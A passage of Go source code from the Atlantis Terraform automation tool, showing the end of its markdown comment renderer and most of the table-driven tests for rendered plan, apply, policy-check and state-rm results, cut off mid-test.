numApplySuccesses++ } else if result.VersionSuccess != "" { output := strings.TrimSpace(result.VersionSuccess) if m.shouldUseWrappedTmpl(vcsHost, output) { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("versionWrappedSuccess"), struct{ Output string }{output}) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("versionUnwrappedSuccess"), struct{ Output string }{output}) } numVersionSuccesses++ } else if result.ImportSuccess != nil { result.ImportSuccess.Output = strings.TrimSpace(result.ImportSuccess.Output) if m.shouldUseWrappedTmpl(vcsHost, result.ImportSuccess.Output) { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("importSuccessWrapped"), result.ImportSuccess) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("importSuccessUnwrapped"), result.ImportSuccess) } } else if result.StateRmSuccess != nil { result.StateRmSuccess.Output = strings.TrimSpace(result.StateRmSuccess.Output) if m.shouldUseWrappedTmpl(vcsHost, result.StateRmSuccess.Output) { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("stateRmSuccessWrapped"), result.StateRmSuccess) } else { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("stateRmSuccessUnwrapped"), result.StateRmSuccess) } // Error out if no template was found, only if there are no errors or failures. // This is because some errors and failures rely on additional context rendered by templates, but not all errors or failures. } else if result.Error == nil && result.Failure == "" { resultData.Rendered = "Found no template. This is a bug!" } // Render error or failure templates. Done outside of previous block so that other context can be rendered for use here. if result.Error != nil { tmpl := templates.Lookup("unwrappedErr") if m.shouldUseWrappedTmpl(vcsHost, result.Error.Error()) { tmpl = templates.Lookup("wrappedErr") } resultData.Rendered = m.renderTemplateTrimSpace(tmpl, errData{result.Error.Error(), resultData.Rendered, common}) if common.Command == applyCommandTitle { numApplyErrors++ } } else if result.Failure != "" { resultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup("failure"), failureData{result.Failure, resultData.Rendered, common}) if common.Command == applyCommandTitle { numApplyFailures++ } } resultsTmplData = append(resultsTmplData, resultData) } var tmpl *template.Template switch { case len(resultsTmplData) == 1 && common.Command == planCommandTitle && numPlanSuccesses > 0: tmpl = templates.Lookup("singleProjectPlanSuccess") case len(resultsTmplData) == 1 && common.Command == planCommandTitle && numPlanSuccesses == 0: tmpl = templates.Lookup("singleProjectPlanUnsuccessful") case len(resultsTmplData) == 1 && common.Command == policyCheckCommandTitle && numPolicyCheckSuccesses > 0: tmpl = templates.Lookup("singleProjectPlanSuccess") case len(resultsTmplData) == 1 && common.Command == policyCheckCommandTitle && numPolicyCheckSuccesses == 0: tmpl = templates.Lookup("singleProjectPolicyUnsuccessful") case len(resultsTmplData) == 1 && common.Command == versionCommandTitle && numVersionSuccesses > 0: tmpl = templates.Lookup("singleProjectVersionSuccess") case len(resultsTmplData) == 1 && common.Command == versionCommandTitle && numVersionSuccesses == 0: tmpl = templates.Lookup("singleProjectVersionUnsuccessful") case len(resultsTmplData) == 1 && common.Command == applyCommandTitle: tmpl = templates.Lookup("singleProjectApply") case len(resultsTmplData) == 1 && common.Command == importCommandTitle: tmpl = templates.Lookup("singleProjectImport") case len(resultsTmplData) == 1 && common.Command == stateCommandTitle: switch common.SubCommand { case "rm": tmpl = templates.Lookup("singleProjectStateRm") default: return fmt.Sprintf("no template matched–this is a bug: command=%s, subcommand=%s", common.Command, common.SubCommand) } case common.Command == planCommandTitle: tmpl = templates.Lookup("multiProjectPlan") case common.Command == policyCheckCommandTitle: if numPolicyCheckSuccesses == len(results) { tmpl = templates.Lookup("multiProjectPolicy") } else { tmpl = templates.Lookup("multiProjectPolicyUnsuccessful") } case common.Command == approvePoliciesCommandTitle: if numPolicyApprovalSuccesses == len(results) { tmpl = templates.Lookup("approveAllProjects") } else { tmpl = templates.Lookup("multiProjectPolicyUnsuccessful") } case common.Command == applyCommandTitle: tmpl = templates.Lookup("multiProjectApply") case common.Command == versionCommandTitle: tmpl = templates.Lookup("multiProjectVersion") case common.Command == importCommandTitle: tmpl = templates.Lookup("multiProjectImport") case common.Command == stateCommandTitle: switch common.SubCommand { case "rm": tmpl = templates.Lookup("multiProjectStateRm") default: return fmt.Sprintf("no template matched–this is a bug: command=%s, subcommand=%s", common.Command, common.SubCommand) } default: return fmt.Sprintf("no template matched–this is a bug: command=%s", common.Command) } switch common.Command { case planCommandTitle: numPlanFailures := len(results) - numPlanSuccesses return m.renderTemplateTrimSpace(tmpl, planResultData{resultsTmplData, common, numPlansWithChanges, numPlansWithNoChanges, numPlanFailures}) case applyCommandTitle: return m.renderTemplateTrimSpace(tmpl, applyResultData{resultsTmplData, common, numApplySuccesses, numApplyFailures, numApplyErrors}) } return m.renderTemplateTrimSpace(tmpl, resultData{resultsTmplData, common}) } // shouldUseWrappedTmpl returns true if we should use the wrapped markdown // templates that collapse the output to make the comment smaller on initial // load. Some VCS providers or versions of VCS providers don't support this // syntax. func (m *MarkdownRenderer) shouldUseWrappedTmpl(vcsHost models.VCSHostType, output string) bool { if m.disableMarkdownFolding { return false } // Bitbucket Cloud and Server don't support the folding markdown syntax. if vcsHost == models.BitbucketServer || vcsHost == models.BitbucketCloud { return false } if vcsHost == models.Gitlab && !m.gitlabSupportsCommonMark { return false } return strings.Count(output, "\n") > maxUnwrappedLines } func (m *MarkdownRenderer) renderTemplateTrimSpace(tmpl *template.Template, data any) string { buf := &bytes.Buffer{} if err := tmpl.Execute(buf, data); err != nil { return fmt.Sprintf("Failed to render template, this is a bug: %v", err) } return strings.TrimSpace(buf.String()) } ================================================ FILE: server/events/markdown_renderer_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "errors" "fmt" "os" "strings" "testing" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) // Strip Carriage Returns, leading and trailing spaces and replace 'dollar' with 'backtick' in the string func normalize(s string) string { return strings.TrimSpace(strings.ReplaceAll(strings.ReplaceAll(s, "$", "`"), "\r", "")) } func TestRenderErr(t *testing.T) { err := errors.New("err") cases := []struct { Description string Command command.Name Error error Expected string }{ { "apply error", command.Apply, err, "**Apply Error**\n```\nerr\n```", }, { "plan error", command.Plan, err, "**Plan Error**\n```\nerr\n```", }, { "policy check error", command.PolicyCheck, fmt.Errorf("some conftest error"), "**Policy Check Error**\n```\nsome conftest error\n```", }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { res := command.Result{ Error: c.Error, } for _, verbose := range []bool{true, false} { t.Run(fmt.Sprintf("%s_%t", c.Description, verbose), func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } } } func TestRenderFailure(t *testing.T) { cases := []struct { Description string Command command.Name Failure string Expected string }{ { "apply failure", command.Apply, "failure", "**Apply Failed**: failure", }, { "plan failure", command.Plan, "failure", "**Plan Failed**: failure", }, { "policy check failure", command.PolicyCheck, "failure", "**Policy Check Failed**: failure", }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { res := command.Result{ Failure: c.Failure, } for _, verbose := range []bool{true, false} { t.Run(fmt.Sprintf("%s_%t", c.Description, verbose), func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } } } func TestRenderErrAndFailure(t *testing.T) { r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } res := command.Result{ Error: errors.New("error"), Failure: "failure", } cmd := &events.CommentCommand{ Name: command.Plan, Verbose: false, } s := r.Render(ctx, res, cmd) Equals(t, "**Plan Error**\n```\nerror\n```", normalize(s)) } func TestRenderProjectResults(t *testing.T) { cases := []struct { Description string Command command.Name SubCommand string ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "no projects", command.Plan, "", []command.ProjectResult{}, models.Github, "Ran Plan for 0 projects:\n\n", }, { "single successful plan", command.Plan, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful plan with main ahead", command.Plan, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", MergedAgain: true, }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ :twisted_rightwards_arrows: Upstream was modified, a new merge was performed. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful plan with project name", command.Plan, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful policy check with multiple policy sets and project name", command.PolicyCheck, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", // strings.Repeat require to get wrapped result PolicyOutput: `FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, Passed: false, ReqApprovals: 1, }, { PolicySetName: "policy2", // strings.Repeat require to get wrapped result PolicyOutput: "2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions", Passed: true, ReqApprovals: 1, }, }, LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$ #### Policy Set: $policy1$ $$$diff FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions $$$ #### Policy Set: $policy2$ $$$diff 2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions $$$ #### Policy Approval Status: $$$ policy set: policy1: requires: 1 approval(s), have: 0. policy set: policy2: passed. $$$ * :heavy_check_mark: To **approve** this project, comment: $$$shell $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful policy check with project name", command.PolicyCheck, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", // strings.Repeat require to get wrapped result PolicyOutput: strings.Repeat("line\n", 13) + `FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, Passed: false, ReqApprovals: 1, }, }, LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$
Show Output #### Policy Set: $policy1$ $$$diff line line line line line line line line line line line line line FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions $$$
#### Policy Approval Status: $$$ policy set: policy1: requires: 1 approval(s), have: 0. $$$ * :heavy_check_mark: To **approve** this project, comment: $$$shell $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ $$$ policy set: policy1: 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful import", command.Import, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ ImportSuccess: &models.ImportSuccess{ Output: "import-output", RePlanCmd: "atlantis plan -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Import for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff import-output $$$ :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ `, }, { "single successful state rm", command.State, "rm", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ StateRmSuccess: &models.StateRmSuccess{ Output: "state-rm-output", RePlanCmd: "atlantis plan -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran State $rm$ for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff state-rm-output $$$ :put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ `, }, { "single successful apply", command.Apply, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Apply for dir: $path$ workspace: $workspace$ $$$diff success $$$ `, }, { "single successful apply with project name", command.Apply, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Apply for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff success $$$ `, }, { "multiple successful plans", command.Plan, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output2", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Github, ` Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path2 -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path2 -w workspace $$$ --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "multiple successful policy checks", command.PolicyCheck, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Github, ` Ran Policy Check for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ #### Policy Set: $policy1$ $$$diff 4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ #### Policy Set: $policy1$ $$$diff 4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path2 -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path2 -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "multiple successful applies", command.Apply, "", []command.ProjectResult{ { RepoRelDir: "path", Workspace: "workspace", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, { RepoRelDir: "path2", Workspace: "workspace", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success2", }, }, }, models.Github, ` Ran Apply for 2 projects: 1. project: $projectname$ dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ --- ### 1. project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff success $$$ --- ### 2. dir: $path2$ workspace: $workspace$ $$$diff success2 $$$ --- ### Apply Summary 2 projects, 2 successful, 0 failed, 0 errored `, }, { "single errored plan", command.Plan, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, RepoRelDir: "path", Workspace: "workspace", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ **Plan Error** $$$ error $$$ `, }, { "single failed plan", command.Plan, "", []command.ProjectResult{ { RepoRelDir: "path", Workspace: "workspace", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ **Plan Failed**: failure `, }, { "successful, failed, and errored plan", command.Plan, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Plan for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. project: $projectname$ dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Plan Failed**: failure --- ### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ **Plan Error** $$$ error $$$ --- ### Plan Summary 3 projects, 1 with changes, 0 with no changes, 2 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "successful, failed, and errored policy check", command.PolicyCheck, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions", Passed: false, ReqApprovals: 1, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Policy Check for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. project: $projectname$ dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ #### Policy Set: $policy1$ $$$diff 4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Policy Check Failed**: failure #### Policy Set: $policy1$ $$$diff 4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions $$$ #### Policy Approval Status: $$$ policy set: policy1: requires: 1 approval(s), have: 0. $$$ * :heavy_check_mark: To **approve** this project, comment: $$$shell $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ --- ### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ **Policy Check Error** $$$ error $$$ --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: $$$shell atlantis approve_policies $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan $$$ `, }, { "successful, failed, and errored apply", command.Apply, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Apply for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff success $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Apply Failed**: failure --- ### 3. dir: $path3$ workspace: $workspace$ **Apply Error** $$$ error $$$ --- ### Apply Summary 3 projects, 1 successful, 1 failed, 1 errored `, }, { "successful, failed, and errored apply", command.Apply, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: "success", }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Apply for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. dir: $path3$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff success $$$ --- ### 2. dir: $path2$ workspace: $workspace$ **Apply Failed**: failure --- ### 3. dir: $path3$ workspace: $workspace$ **Apply Error** $$$ error $$$ --- ### Apply Summary 3 projects, 1 successful, 1 failed, 1 errored `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, SubName: 